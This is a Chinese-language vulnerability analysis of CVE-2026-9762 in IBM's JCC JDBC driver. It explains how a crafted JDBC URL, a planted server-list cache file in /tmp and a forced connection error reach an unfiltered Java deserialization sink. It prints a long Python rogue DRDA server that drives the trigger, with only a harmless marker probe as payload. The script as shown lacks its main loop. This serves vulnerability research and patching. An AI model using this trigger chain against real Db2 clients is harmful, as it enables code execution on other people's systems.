CVE-2026-9762:IBM JCC getConnection 触发反序列化链分析
IBM JCC getConnection 反序列化
CVE-2026-9762:IBM JCC getConnection 触发反序列化链分析
本文基于授权本地研究环境完成。验证器只使用
readObject写 marker 文件来证明反序列化 sink 可达。
一、漏洞描述
1.1 漏洞概述
项目 | 内容 |
CVE 编号 | CVE-2026-9762 |
IBM 内部编号 | DT471454 |
影响组件 | IBM Data Server Driver for JDBC and SQLJ(JCC,Maven |
漏洞类型 | Java 原生反序列化 → 代码执行(CWE-94) |
CVSS 3.1 | 7.8 |
官方描述 | JDBC URL 受用户控制时可能导致远程代码执行 |
IBM 在 2026 年 7 月发布公告,描述为 IBM Db2 在 JDBC URL 受用户控制时可能导致远程代码执行。向量里最容易被误读的是 AV:L/PR:L:它表示攻击面是本地、低权限,而不是"任意远程数据库地址即可无条件打穿"。结合补丁 diff 与动态验证看,更准确的表述是:低权限攻击者在能够影响 JDBC URL、并能预置连接端本地缓存文件时,可以让 JCC 驱动在连接建立或连接错误恢复过程中读取 Java 原生序列化缓存,把 ObjectInputStream.readObject() 暴露成可达 sink。
根因一句话:12.1.4 的 JCC 驱动保留了服务器列表缓存、许可证缓存的 Java 原生序列化落盘/加载逻辑,其中服务器列表缓存可以通过 createLicenseCache=true 这条连接属性链影响到物理连接状态,最终在错误恢复路径里读取 jccServerListCache.bin。
1.2 影响版本
官方公告影响范围:
产品 | 影响版本 | 修复版本 |
IBM Db2 Client 11.5 | 11.5.0 - 11.5.9 | Special Build #87098 or later for V11.5.9 |
IBM Db2 Client 12.1 | 12.1.0 - 12.1.4 | 12.1.5 或 Special Build #87349 or later for V12.1.4 |
分析覆盖的驱动版本:
JAR | JCC 内部版本 | 状态 |
| 4.37.4 | 受影响,可触发 |
| 4.38.7 | 已修复,不触发 |
需要盘点的分发渠道:Maven 依赖、应用服务器共享库、WEB-INF/lib、fat JAR、容器镜像层、Db2 产品内置副本。
二、漏洞利用条件
2.1 前置条件清单
这个漏洞不是"只要知道数据库地址就能打"。结合 CVSS 和动态验证,至少需要满足:
- 攻击者能影响 JDBC URL 或连接属性,注入
createLicenseCache=true(典型场景:应用允许用户提供连接串 —— SaaS 数据源配置、测试平台、ETL 工具); - 攻击者能在连接端本地缓存目录预置或篡改
jccServerListCache.bin; - 目标 JVM classpath 上存在可用 Java 反序列化 gadget;
- 触发时需要让连接过程或置位后的连接 flow 进入通信错误恢复(LUW 目标为
getConnection返回后的首次 flow;非 LUW 家族目标为getConnection内部的 license flow,见 3.4); - 首次可触发窗口中服务器列表内存缓存尚未初始化。
2.2 关键放宽:未配置 outputDirectory 时回退 java.io.tmpdir
第二条前提里的"本地缓存目录",存在一个把攻击面大幅放宽的回退行为。
仅看反编译源码会得出错误结论:目标没有配置 db2.jcc.outputDirectory 时 ao.dL 为 null,com.ibm.db2.jcc.am.k9#a(String, boolean) 在 if (var3_3 == null) return 处提前返回,sink 天然不可达。CFR 输出的 com.ibm.db2.jcc.am.ao 类也会强化这个误判 —— 全文里 dL 只有一处赋值:
// com.ibm.db2.jcc.am.ao <clinit>(CFR 反编译输出)
dL = DB2BaseDataSource.parseString(
GlobalProperties.getJccGlobalProperty(dJ, false), null);但这段源码不可信。对 ao.class 做字节码反汇编,在私有静态初始化方法 com.ibm.db2.jcc.am.ao#n() 的末尾,可以看到一段被 CFR 丢弃的回退逻辑(字节码偏移 180–191):
// javap -p -c com.ibm.db2.jcc.am.ao#n()(偏移 180–191)
180: getstatic #762 // Field dL:Ljava/lang/String;
183: ifnonnull 201
186: ldc #36 // String java.io.tmpdir
188: invokestatic #707 // GlobalProperties.c:(Ljava/lang/String;)Ljava/lang/String;
191: putstatic #762 // Field dL:Ljava/lang/String;还原成 Java 就是:
// com.ibm.db2.jcc.am.ao#n() 尾部
if (dL == null) {
dL = System.getProperty("java.io.tmpdir");
}也就是说,未配置任何输出目录时,驱动把缓存目录回退到 JVM 系统临时目录。这带来两个层面的结论:
- 方法论层面:对混淆闭源库做可达性分析时,"反编译源码里没有"不等于"字节码里没有"。这段回退在 CFR 输出中完全不可见,只有
javap层面才能确认,否则整条 sink 路径会被误判为默认不可达。 - 攻击面层面:回退把"需要在专用 outputDirectory 目录有写权限"的前提,放宽为"需要对系统临时目录有写权限"。Linux/macOS 上
/tmp通常对所有本地用户开放写入,共享主机、CI runner、容器内任意低权限用户基本天然满足 —— 与官方AV:L/PR:L评级精确吻合。
动态验证(12.1.4)确认回退真实生效:完全不设置任何全局属性,将探针放入 java.io.tmpdir,纯 DriverManager.getConnection() 连接后 —— ao.dL 反射结果为 tmpdir 路径、marker 出现、<tmpdir>/serverlist.lock 被创建,且 ao.dX 的实际类型就是探针类本身。
边界同样经过验证:在 JDBC URL 中注入 outputDirectory=/xxx 无效,ao.dL 仍解析为 tmpdir —— 该配置项不是 URL 属性,攻击者无法借此任意指定目录;但 tmpdir 回退本身已经足够。同一条件下 12.1.5 的 ao.dL 恒为 null,回退逻辑随整个磁盘缓存设施一并删除。
因此风险评估的基线应当是"能在 /tmp 写文件即满足文件预置前提",而不是"没配置 outputDirectory 就安全"。
三、漏洞分析
JCC 是闭源且经过混淆的驱动(Maven Central 上的 *-sources.jar 只是 IBM 源码占位文件,不含真实源码),因此以下分析基于正式 JAR 的字节码反汇编与 CFR 反编译交叉确认,关键结论均经动态验证。文中所有代码引用统一按 完整类名#方法名 格式定位,混淆名(如 am.k9、t4.b)保持原始形态,读者用自己的反编译工具按类名检索即可对照。
3.1 Source:JDBC URL 到连接状态
12.1.4 中,JDBC URL 的分号属性会被 com.ibm.db2.jcc.DB2Driver#tokenizeURLProperties() 拆出来并写入 Properties,随后 com.ibm.db2.jcc.DB2Driver#getDataSource() 对 createLicenseCache 做了特殊处理:
// com.ibm.db2.jcc.DB2Driver#getDataSource()(12.1.4,CFR 反编译)
if (properties.containsKey("createLicenseCache")) {
dB2SimpleDataSource.setCreateLicenseCache(
Boolean.valueOf(properties.getProperty("createLicenseCache")));
}这里就是 URL source 进入驱动对象的入口。典型连接串(即验证器 ConnectionVerifier#main 的调用形式):
String url = "jdbc:db2://127.0.0.1:50000/TESTDB:createLicenseCache=true;";
DriverManager.getConnection(url, "db2user", "db2pass");com.ibm.db2.jcc.DB2BaseDataSource 上存在公开 setter/getter 和一个全局开关合并逻辑:
// com.ibm.db2.jcc.DB2BaseDataSource#isCreateLicenseCache() / #setCreateLicenseCache(boolean)
public boolean isCreateLicenseCache() {
return this.createLicenseCache || ao.dM; // ao.dM 来自 db2.jcc.createLicenseCache 全局属性
}
public void setCreateLicenseCache(boolean bl2) {
this.createLicenseCache = bl2;
}物理连接建立后,com.ibm.db2.jcc.am.Connection#initPostConnectionProperties() 把 DataSource 上的值复制到连接对象:
// com.ibm.db2.jcc.am.Connection#initPostConnectionProperties()
if (this.dataSource_ != null) {
this.createLicenseCache_ = this.dataSource_.isCreateLicenseCache();
}Type 4 连接类 com.ibm.db2.jcc.t4.b 再通过一个混淆方法暴露该状态:
// com.ibm.db2.jcc.t4.b#ai()
public boolean ai() {
return this.createLicenseCache_;
}source 链路总结:
JDBC URL
-> com.ibm.db2.jcc.DB2Driver#tokenizeURLProperties()
-> com.ibm.db2.jcc.DB2Driver#getDataSource()
-> com.ibm.db2.jcc.DB2BaseDataSource#setCreateLicenseCache(true)
-> com.ibm.db2.jcc.am.Connection#initPostConnectionProperties()
-> Connection.createLicenseCache_ 字段
-> com.ibm.db2.jcc.t4.b#ai() == true这一步本身还没有触发反序列化,它只是打开了后面"是否允许读本地服务器列表缓存"的门。
3.2 Sink:jccServerListCache.bin 反序列化
真正的 sink 在旧版 com.ibm.db2.jcc.am.k9#a(String, boolean):
// com.ibm.db2.jcc.am.k9#a(String, boolean)
if (var0.equals("jccServerListCache.bin")) {
ao.r(); // 初始化 outputDirectory 下的缓存文件与锁文件路径
var3_3 = ao.d1; // serverlist.lock
var4_4 = ao.d0; // jccServerListCache.bin
var5_5 = false;
} else if (var0.equals("connlicj.bin")) {
ao.q();
var3_3 = ao.dT;
var4_4 = ao.dS;
}
var8_8 = ao.a(var4_4);
var7_7 = new ObjectInputStream(var8_8);
var2_2[0] = var5_5 != false
? (LicenseCache)var7_7.readObject()
: (ServerListCache)var7_7.readObject();两个关键问题:
readObject()没有ObjectInputFilter、类白名单、签名校验或自定义resolveClass限制;- 强制转换发生在
readObject()之后,不能作为安全边界 —— Java 原生反序列化会先解析对象图、加载类、执行readObject/readResolve等回调,然后才进行最终类型转换。即使最后 cast 到ServerListCache失败,攻击者控制的 gadget 回调也可能已经执行。
服务器列表缓存还有 read-before-write 逻辑:旧版 com.ibm.db2.jcc.t4.ServerListCache#updateEntryWithLatestServerList(String, String[], int[], long, boolean) 在条目新增或变更且 bl2 == true 时调用 #writeServerListCacheToFile(),而写文件前又会先调用 com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", false) 读旧缓存。所以危险点不是单一文件读,而是一整套"内存缓存 + 本地序列化缓存 + 锁文件"的历史功能。
另外,connlicj.bin(LicenseCache)路径的 com.ibm.db2.jcc.am.LicenseCache#writeLicenseCacheToFile() 在 12.1.4 中已经没有任何调用者,属于死代码;活跃 sink 只有 jccServerListCache.bin 的读写路径。
3.3 可达路径辨析:为什么不是 SRVLST 解析路径
最初看代码时,很容易把 com.ibm.db2.jcc.t4.y#E(b) 与 #F(b) 当成主触发点,因为这两个私有方法在解析 SRVLST 时也会调用:
// com.ibm.db2.jcc.t4.y#E(b)(SRVLST 解析路径,节选)
if (b10.ai()) {
Object[] objectArray = k9.a("jccServerListCache.bin", true);
ao.dX = (ServerListCache)objectArray[0];
}但动态验证后发现,SRVLST 解析发生在握手阶段,而 createLicenseCache_ 是连接完成后才由 initPostConnectionProperties() 置位的。因此在这条路径上,ai() 往往还是 false,不能稳定解释 getConnection 内部触发。
真实可达链位于通信错误恢复路径。旧版 com.ibm.db2.jcc.t4.b#a(c6)(包私有方法 a,即 loadServerListCache)中,当全局服务器列表缓存为空且 ai() 为 true 时,会读取磁盘缓存:
// com.ibm.db2.jcc.t4.b#a(c6) —— loadServerListCache
if (com.ibm.db2.jcc.am.ao.dX == null) {
synchronized (com.ibm.db2.jcc.am.ao.d2) {
if (com.ibm.db2.jcc.am.ao.dX == null) {
if (this.ai()) {
object = k9.a("jccServerListCache.bin", true);
com.ibm.db2.jcc.am.ao.dX = (ServerListCache)object[0];
}
if (com.ibm.db2.jcc.am.ao.dX == null) {
com.ibm.db2.jcc.am.ao.dX = new ServerListCache();
}
}
}
}这段逻辑的调用方是通信错误恢复器 com.ibm.db2.jcc.t4.r#a(Exception, aj),其门禁条件为:非 clientAffinities/SysplexWLB/CC 模式、PRDID 非 DSN 前缀、dataSource_ 非 null、!dataSource_.firstConnectionEstablished。
其中 firstConnectionEstablished 只在 com.ibm.db2.jcc.t4.b#rdbAccessed -> #updateAlternateDataSource()(alternateServerNameIP_ != null 时)被置位 —— 这给了服务端第一个可操纵点:ACCRDBRM 不携带 SRVLST、URL 不配 clientRerouteAlternateServerName,即可让 alternateServerNameIP_ == null,从而保持 firstConnectionEstablished == false,并让 ao.dX 不被握手期提前初始化。
3.4 getConnection 内触发链的构造
剩下的时序问题:置位(createLicenseCache_ = true)发生在 com.ibm.db2.jcc.am.Connection#completeConnect(boolean) 第 222 步 #initPostConnectionProperties(),而此后是否还有网络 flow 决定了通信错误能否发生在"已置位"的连接上。这取决于 PRDID 决定的 serverType:
// com.ibm.db2.jcc.am.Connection#completeConnect(boolean) 内部调用顺序(javap 偏移):
85 setSpecialRegisters() 网络 flow
153 setGlobalSessionVariables() 网络 flow
211 piggypackSetClientInfo...() 仅入队
222 initPostConnectionProperties() createLicenseCache_ = true ← 置位
383 checkForLicenseRestrictions() 仅 serverType 1/2/3 才有网络 flow- LUW(PRDID 前缀
SQL,serverType 4):第 383 步无网络 flow,置位后getConnection直接返回 —— 通信错误只能发生在返回后的首次 flow(任意 SQL),不能在getConnection内触发; - 非 LUW 家族(PRDID 前缀
DSN/ARI/QSQ,serverType 1/2/3):第 383 步的 license 检查(#checkForLicenseRestrictions()->#isLicenseValidatedWithServerLicenseProc()->#callLicenseProcStaticV9())会 flowCALL SYSIBM.DB2CON_LIC—— 这提供了"置位之后"的网络交互,使整条触发链收敛在getConnection内部。DSN前缀会被恢复器排除,因此验证器选用QSQ12010(serverType 3,版本 ≥ 5.4.0 满足 license proc 条件)。
serverType 判定来自 com.ibm.db2.jcc.am.ProductLevel#getServerType(String)(取 PRDID 前 3 字符):DSN=1、ARI=2、QSQ=3、SQL=4、CSS=5、IFX=6。
3.5 触发链总览与实测调用栈
JDBC URL: createLicenseCache=true
-> com.ibm.db2.jcc.DB2Driver#getDataSource()
-> DataSource.createLicenseCache = true
-> com.ibm.db2.jcc.am.Connection#completeConnect(boolean)
-> #initPostConnectionProperties()
-> Connection.createLicenseCache_ = true
-> #checkForLicenseRestrictions() (serverType 3)
-> #isLicenseValidatedWithServerLicenseProc()
-> #callLicenseProcStaticV9() => CALL SYSIBM.DB2CON_LIC
-> DRDA stub 在 license flow 断开 TCP
-> com.ibm.db2.jcc.t4.a 通信错误处理
-> com.ibm.db2.jcc.t4.r#a(Exception, aj) 连接恢复
-> com.ibm.db2.jcc.t4.b#a(c6) loadServerListCache
-> ao.dX == null
-> com.ibm.db2.jcc.t4.b#ai() == true
-> com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true)
-> java.io.ObjectInputStream#readObject()marker 文件中记录的实测调用栈也落在这条链上:
ConnectionVerifier#main
com.ibm.db2.jcc.am.CallableStatement#b <- CALL SYSIBM.DB2CON_LIC(连接内部)
... license proc reply 读取 socket reset
-> com.ibm.db2.jcc.t4.a#a <- 通信错误处理
-> com.ibm.db2.jcc.t4.r#a(Exception, aj) <- 连接恢复
-> com.ibm.db2.jcc.t4.b#a(c6) <- loadServerListCache
-> com.ibm.db2.jcc.am.k9#a(String, boolean)
-> java.io.ObjectInputStream#readObject <- SINK这也是为什么本文标题强调 getConnection:验证端没有执行 SQL,也没有调用连接管理 API,触发发生在连接建立流程内部。
四、漏洞利用
4.1 验证设计原则
验证器的设计目标比较克制:只证明 readObject() 可达,不执行系统命令。VerificationPayload 继承旧版 t4.ServerListCache,在 readObject 回调里写入 marker 和完整调用栈,用来确认真实 sink 入口。它不依赖任何第三方库,利用的是 Java 序列化的原生回调机制 —— 这与真实 gadget 链(CC/CB/JDK 原生链等)挂在同一执行原语上,因此"sink 可达 + 回调执行"的结论可以直接迁移。
验证工程结构:
cve-2026-9762-verifier/
├── java/com/ibm/db2/jcc/t4/VerificationPayload.java # 无害探针(readObject 只写 marker)
├── java/PayloadBuilder.java # 生成 jccServerListCache.bin 探针文件
├── java/ConnectionVerifier.java # 连接端,仅 getConnection
└── server/verifier_server.py # DRDA stub(kill 模式)4.2 恶意 DRDA 服务端脚本
verifier_server.py 是一个最小 DRDA 协议 stub,核心做三件事:完成握手、按 serverType 3 回包、在 license flow 断开 TCP。完整脚本如下(可直接保存为 verifier_server.py 运行,核心触发逻辑处已加注释):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Db2 JCC (DRDA) 恶意服务端骨架 —— 第一阶段:抓包看清楚驱动握手发了什么。
用法:
python3 verifier_server.py [port] [cache-dir]
# 默认端口 50000,默认缓存目录 /tmp
python3 verifier_server.py [port] [cache-dir] payload.b64
# 兼容读取 Base64 payload 并预置缓存文件
目的:
1. 接受 JCC Type 4 驱动的连接
2. 解析 DDM 帧(长度 + code point),十六进制 dump
3. 提供回包框架(先最小 stub,后续迭代补全握手)
DRDA/DDM 帧结构(10 字节头 + body):
+0 DSS长度 (2B, 大端) = 6 + DDM对象长度
+2 Magic 'D' (1B, 0xD0)
+3 Format (1B, 0x01=request / 0x02=reply / 0x03=object)
+4 Correlation (2B, 大端)
+6 DDM对象长度 (2B, 大端) = 4 + len(body) ← 与 +0 不同!
+8 Code Point (2B, 大端)
"""
import base64
import os
import socket
import struct
import sys
HOST = "0.0.0.0"
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 50000
CACHE_DIR = os.path.abspath(
sys.argv[2] if len(sys.argv) > 2 else "/tmp")
# 第 4 个参数为 nosrvlst 时,ACCRDBRM 不携带 SRVLST:
# 客户端 ao.dX 保持 null,通信错误后 loadServerListCache 才会走磁盘读取分支。
# 第 4 个参数为 kill 时:同时启用 nosrvlst,并在连接后的第一条语句(EXCSQLSET)
# 到达时直接断开 TCP,制造通信错误 -> 客户端 m() -> loadServerListCache。
MODE = sys.argv[4] if len(sys.argv) > 4 else ""
NO_SRVLST = MODE in ("nosrvlst", "kill", "killreset")
KILL_ON_STMT = MODE == "kill"
KILL_RESET = MODE == "killreset"
# 反序列化 sink 读的本地缓存文件(outputDirectory=/tmp 时):
# jccServerListCache.bin -> ServerListCache 分支 (SRVLST/ACR 触发)
# connlicj.bin -> LicenseCache 分支 (license 激活触发)
PAYLOAD_FILE = os.path.join(CACHE_DIR, "jccServerListCache.bin")
# 常见 DRDA code point 名称(用于可读性)
CODEPOINTS = {
0x1041: "EXCSAT (Exchange Server Attributes)",
0x1441: "EXCSATRD (EXCSAT Reply)",
0x106D: "ACCSEC (Access Security)",
0x14AC: "ACCSECRD (ACCSEC Reply)",
0x106E: "SECCHK (Security Check)",
0x1219: "SECCHKRM (SECCHK Reply)",
0x2001: "ACCRDB (Access RDB)",
0x2201: "ACCRDBRM (ACCRDB Reply)",
0x2004: "RDBCMTOK (RDB Commit?)",
0x2110: "OPNQRY (Open Query)",
0x2408: "SQLCARD (SQLCA)",
0x2005: "RDBRLLBCK(Rollback)",
0x2007: "RDBUPDRM (RDB Update Reply)",
0x1067: "SECCHKCD (SECCHK Code)",
0x0002: "SYNTAXRM (Syntax Error Reply)",
0x124C: "SYNTAXRM (Syntax Error Reply Msg)",
0x1219: "SECCHKRM (SECCHK Reply)",
0x1149: "SVRCOD (Server Code)",
0x11A4: "SECCHKCD (Security Check Code)",
0x112E: "PRDID (Product ID)",
0x002F: "TYPDEFNAM(Type Def Name)",
0x0035: "TYPDEFOVR(Type Def Override)",
0x119C: "CCSIDSBC (SBC CCSID)",
0x119D: "CCSIDDBC (DBC CCSID)",
0x119E: "CCSIDMBC (MBC CCSID)",
0x210F: "RDBACCCL (RDB Access Class)",
0x11A0: "SECMGRNM (Security Mgr Name)",
0x11A1: "SECMECNBR(Sec Mec Number)",
0x244E: "SRVLST (Server List)",
0x2104: "CRRTKN (Correlation Token)",
}
def hexdump(data: bytes, width: int = 16) -> str:
"""返回可读的 hex dump 字符串。"""
lines = []
for i in range(0, len(data), width):
chunk = data[i:i+width]
hexpart = " ".join(f"{b:02x}" for b in chunk)
ascpart = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
lines.append(f" {i:04x} {hexpart:<{width*3}} {ascpart}")
return "\n".join(lines)
def parse_ddm(conn: socket.socket):
"""从连接读取并解析一个 DDM 帧。返回 (code_point, raw_payload) 或 None。"""
# 先读 6 字节拿到长度字段
hdr = conn.recv(6)
if len(hdr) < 6:
return None
length = struct.unpack(">H", hdr[0:2])[0]
# 继续读完剩余
buf = hdr
while len(buf) < length:
chunk = conn.recv(length - len(buf))
if not chunk:
break
buf += chunk
if len(buf) < 10:
return None
magic = buf[2]
correlation = struct.unpack(">H", buf[4:6])[0]
codepoint = struct.unpack(">H", buf[8:10])[0]
payload = buf[10:]
return codepoint, buf, payload, correlation
# DSS format byte: 低 2 位 = 类型(1=request/2=reply/3=object),bit0x40=chained,bit0x10=same-id。
FMT_EXCSATRD = 0x43 # 0x40(chained new-id) | 0x03(object)
FMT_ACCSECRD = 0x03 # object, 非链
FMT_SECCHKRM = 0x42 # 0x40(chained new-id) | 0x02(reply)
FMT_ACCRDBRM = 0x52 # 0x50(chained same-id) | 0x02(reply) —— 后接 SQLCARD
def build_ddm(codepoint: int, payload: bytes = b"", correlation: int = 0, fmt: int = FMT_ACCSECRD) -> bytes:
"""构造一个 DDM 帧(用于回包)。
DSS 头(6B): [DSS长度:2][D0][format:1][correlation:2]
DDM 对象: [DDM长度:2][codepoint:2][body]
注意两个长度不一样: DSS长度 = 6 + DDM长度; DDM长度 = 4 + len(body)。
"""
ddm_len = 4 + len(payload)
dss_len = 6 + ddm_len
hdr = struct.pack(">H", dss_len) # +0 DSS 长度
hdr += bytes([0xD0, fmt]) # +2 Magic 'D' + Format
hdr += struct.pack(">H", correlation) # +4 Correlation
hdr += struct.pack(">H", ddm_len) # +6 DDM 对象长度
hdr += struct.pack(">H", codepoint) # +8 Code Point
return hdr + payload
def ebcdic(s: str) -> bytes:
"""ASCII -> EBCDIC(cp500)。用于服务器名/类名/版本号等文本字段。"""
return s.encode("cp500")
def param(cp: int, data: bytes) -> bytes:
"""构造一个 DRDA 参数: [len:2][codepoint:2][data]。"""
return struct.pack(">HH", 4 + len(data), cp) + data
# ---- 回包构造 ----
# 服务器身份(照抄真实 Db2 11.5.4.0 实测握手包)
SERVER_EXTNAM = "db2inst1db2agent00003AC9%FED%N00" # EXTNAM 0x115E
SERVER_SRVCLSNM = "QDB2/LINUXX8664" # SRVCLSNM 0x1147
SERVER_SRVNAM = "db2inst1" # SRVNAM 0x116D
SERVER_SRVRLSLV = "QSQ12010" # SRVRLSLV 0x115A / PRDID
# PRDID 前缀决定 JCC 的 serverType: QSQ -> 3(走 checkForLicenseRestrictions 的
# license 检查分支);SQL -> 4(LUW,跳过 license 检查)。serverType 3 时
# completeConnect 尾部会在 getConnection 内 flow CALL SYSIBM.DB2CON_LIC。
# MGRLVLLS(0x1404):真实 Db2 的管理级别列表。6 个 [cp:2][level:2]。
MGRLVLLS = bytes.fromhex("1403000a2407000a1c080000240f00081440000a14740008")
def parse_params(payload: bytes):
"""把 payload 拆成 [(codepoint, data)] 列表。"""
out = []
i = 0
while i + 4 <= len(payload):
ln = struct.unpack(">H", payload[i:i+2])[0]
if ln < 4:
break
cp = struct.unpack(">H", payload[i+2:i+4])[0]
data = payload[i+4:i+ln]
out.append((cp, data))
i += ln
return out
def excsatrd_body() -> bytes:
"""EXCSATRD (0x1443): 顺序 EXTNAM -> MGRLVLLS -> SRVCLSNM -> SRVNAM -> SRVRLSLV。"""
body = b""
body += param(0x115E, ebcdic(SERVER_EXTNAM)) # EXTNAM
body += param(0x1404, MGRLVLLS) # MGRLVLLS
body += param(0x1147, ebcdic(SERVER_SRVCLSNM)) # SRVCLSNM
body += param(0x116D, ebcdic(SERVER_SRVNAM)) # SRVNAM
body += param(0x115A, ebcdic(SERVER_SRVRLSLV)) # SRVRLSLV
return body
def accsecrd_downgrade_body() -> bytes:
"""ACCSECRD: 拒绝 EUSRIDPWD(9),降级到明文。SECMEC=[3,5] + SECCHKCD=1。"""
return param(0x11A2, b"\x00\x03\x00\x05") + param(0x11A4, b"\x01")
def accsecrd_plain_body(sectkn: bytes = b"") -> bytes:
"""ACCSECRD: 接受 SECMEC=3(明文),回显 SECTKN(若有)。"""
body = param(0x11A2, b"\x00\x03")
if sectkn:
body += param(0x11DC, sectkn)
return body
def secchkrm_body() -> bytes:
"""SECCHKRM (0x1219): SVRCOD=0(成功) + SECCHKCD=0(OK)。"""
return param(0x1149, b"\x00\x00") + param(0x11A4, b"\x00")
# 每次连接 alternate 端口递增,让第二次(跨组重连)的 SRVLST 与首次不同 → 触发 hasEntryChanged → writeServerListCacheToFile
_alt_port = 50001
# 连接计数:killreset 模式下,第 2+ 个 TCP 连接在 EXCSAT 后立即断开,
# 用于在池化 reset_() 重新握手期间制造通信错误。
_conn_count = 0
def srvlst_body() -> bytes:
"""SRVLST (0x244E) server list —— 对齐真实 Db2 结构:
SRVLSTNAM(0x244C)=2 + SRVLSTENT(0x244D 空壳) + [9295+6418 primary] + [9295+4584 alternate]。
6418(0x1912)=[port:2B][hostname:12B EBCDIC]; 4584(0x11E8)=[IPv6:16B][port:2B]。"""
global _alt_port
ip2 = bytes(10) + b"\xff\xff\x7f\x00\x00\x02" # ::ffff:127.0.0.2
body = param(0x244C, b"\x00\x02") # SRVLSTNAM = 2
body += param(0x244D, b"") # SRVLSTENT 空壳(len=4)
body += param(0x244F, b"\x00\x01") # primary 9295=1
body += param(0x1912, struct.pack(">H", 50000) + ebcdic("127.0.0.1").ljust(12, b"\x40")) # 6418
body += param(0x244F, b"\x00\x00") # alternate 9295=0
body += param(0x11E8, ip2 + struct.pack(">H", _alt_port)) # 4584 (端口每次变化)
return param(0x244E, body) # SRVLST
def accrdbrm_body() -> bytes:
"""ACCRDBRM (0x2201): SVRCOD=0 + PRDID + TYPDEFNAM=QTDSQLX86 + TYPDEFOVR + SRVLST。"""
body = b""
body += param(0x1149, b"\x00\x00") # SVRCOD 成功
body += param(0x112E, ebcdic(SERVER_SRVRLSLV)) # PRDID (QSQ 前缀 -> serverType 3)
body += param(0x002F, ebcdic("QTDSQLX86")) # TYPDEFNAM
# TYPDEFOVR: CCSIDSBC=1208 + CCSIDDBC=1200 + CCSIDMBC=1208
tydefovr = param(0x119C, b"\x04\xb8") + param(0x119D, b"\x04\xb0") + param(0x119E, b"\x04\xb8")
body += param(0x0035, tydefovr)
if not NO_SRVLST:
body += srvlst_body() # SRVLST 触发 ACR
return body
def opnqflrm_body(correlation: int) -> bytes:
"""OPNQFLRM(0x2212) 响应: 两个 chained DSS = OPNQFLRM reply(SVRCOD+RDBNAM) + SQLCARD object(SQLCA -30108)。"""
dss1 = build_ddm(0x2212,
param(0x1149, b"\x00\x08") + param(0x2110, ebcdic("test").ljust(18, b"\x40")),
correlation, 0x42) # reply + chained
dss2 = build_ddm(0x2408, sqlca_runtime(True), correlation, 0x03) # object, 末尾非链
return dss1 + dss2
def sqlcard_body(reroute: bool = False) -> bytes:
"""SQLCARD(0x2408)。reroute=True 时带 SQLCODE=-30108(SQLSTATE 08506, 小端)。"""
real_hex = ('0000000000303030303053514c313130353400010000000100000000000000030000000000000000000000'
'20202020202020202020202000125445535444422020202020202020202000003831ff31323038ff444232494e535431ff'
'544553544442ff514442322f4c494e555858363634ff3335ff3335ff30ff31323038ff31ff30ff0000ff')
real = bytes.fromhex(real_hex)
if reroute:
return real[:1] + struct.pack("<i", -30108) + b"08506" + real[10:]
return real
def sqlca_runtime(reroute: bool = False) -> bytes:
"""运行时 SQLCA(writeSQLCAGRP 格式): WARN 是 12 字节(与连接时 SQLCARD 的 11 字节不同)。"""
body = b"\x00" # null indicator
body += struct.pack("<i", -30108 if reroute else 0) # SQLCODE 小端
body += b"08506" if reroute else b"00000" # SQLSTATE
body += SERVER_SRVRLSLV.encode("ascii") # product
body += b"\x00" # SQLCAXGRP INDICATOR
body += b"\x00" * 24 # SQLERRD (6 int)
body += b" " * 12 # WARN (12 字节!)
body += struct.pack(">H", 18) + b"TESTDB".ljust(18, b" ") # VCM
body += b"\x00\x00" # VCS
body += b"\xff" # SQLDIAGGRP (NULLDATA)
return body
def vcm_vcs(s: str) -> bytes:
"""VCM(长度+EBCDIC字符串) + VCS(长度0)。"""
if s is None:
return b"\x00\x00" + b"\x00\x00"
data = ebcdic(s)
return struct.pack(">H", len(data)) + data + b"\x00\x00"
def sqldard_body() -> bytes:
"""SQLDARD(0x2411) body: SQLCA + SQLDHROW + numElems + SQLDAGRP(1列 INTEGER)。"""
body = sqlca_runtime(False) # SQLCA 成功
body += b"\x00" # SQLDHROW INDICATOR
body += struct.pack(">H", 0) # SQLDHOLD
body += struct.pack(">H", 0) * 6 # SQLDRETURN/SCROLL/SENSITIVE/FCODE/KEYTYPE/RDBNAME
body += b"\x00\x00" + b"\x00\x00" # SQLDSCHEMA (VCM/VCS null)
body += struct.pack(">H", 1) # numElems = 1
# SQLDAGRP (1 列 INTEGER)
body += struct.pack(">H", 10) # precision
body += struct.pack(">H", 0) # scale
body += struct.pack(">Q", 11) # outlen (8字节)
body += struct.pack(">H", 496) # sqlType (INTEGER)
body += struct.pack(">H", 0) # CCSID
# SQLDOPTGRP
body += b"\x00" # indicator
body += struct.pack(">H", 0) # SQLUNAMED
body += vcm_vcs("1") # SQLName (列名)
body += vcm_vcs(None) # SQLLabel
body += vcm_vcs(None) # SQLComments
body += b"\xff" # SQLUDTGRP (NULLDATA, 非 UDT)
# SQLDXGRP
body += b"\x00" # indicator
body += struct.pack(">H", 0) # SQLXKEYMEM
body += struct.pack(">H", 0) # SQLXUPDATEABLE
body += struct.pack(">H", 0) # SQLXGENERATED
body += struct.pack(">H", 0) # SQLXPARMMODE
body += struct.pack(">H", 0) # SQLXRDBNAM
body += vcm_vcs(None) # SQLXCORNAME
body += vcm_vcs("SYSDUMMY1") # SQLXBASENAME
body += vcm_vcs("SYSIBM") # SQLXSCHEMA
body += vcm_vcs("1") # SQLXNAME
return body
def build_object_dss(payload: bytes, correlation: int, fmt: int) -> bytes:
"""构造 object DSS(无 DDM 头): [DSS长度:2][D0][fmt][corr:2][payload]。"""
dss_len = 6 + len(payload)
return struct.pack(">H", dss_len) + bytes([0xD0, fmt]) + struct.pack(">H", correlation) + payload
def rdbaflrm_body(correlation: int) -> bytes:
"""RDBAFLRM(0x221A) 三个 chained DSS: RDBAFLRM + TYPDEFNAM/TYPDEFOVR + SQLCARD(-30108)。"""
# DSS1: RDBAFLRM reply chained same-id
dss1 = build_ddm(0x221A,
param(0x1149, b"\x00\x08") + param(0x2110, ebcdic("test")),
correlation, 0x52)
# DSS2: TYPDEFNAM + TYPDEFOVR (object, 无 DDM 头) chained same-id
tydefovr = param(0x119C, b"\x04\xb8") + param(0x119E, b"\x04\xb8")
tydef = param(0x002F, ebcdic("QTDSQLASC")) + param(0x0035, tydefovr)
dss2 = build_object_dss(tydef, correlation, 0x53)
# DSS3: SQLCARD(-30108) non-chained
dss3 = build_ddm(0x2408, sqlcard_body(True), correlation, 0x03)
return dss1 + dss2 + dss3
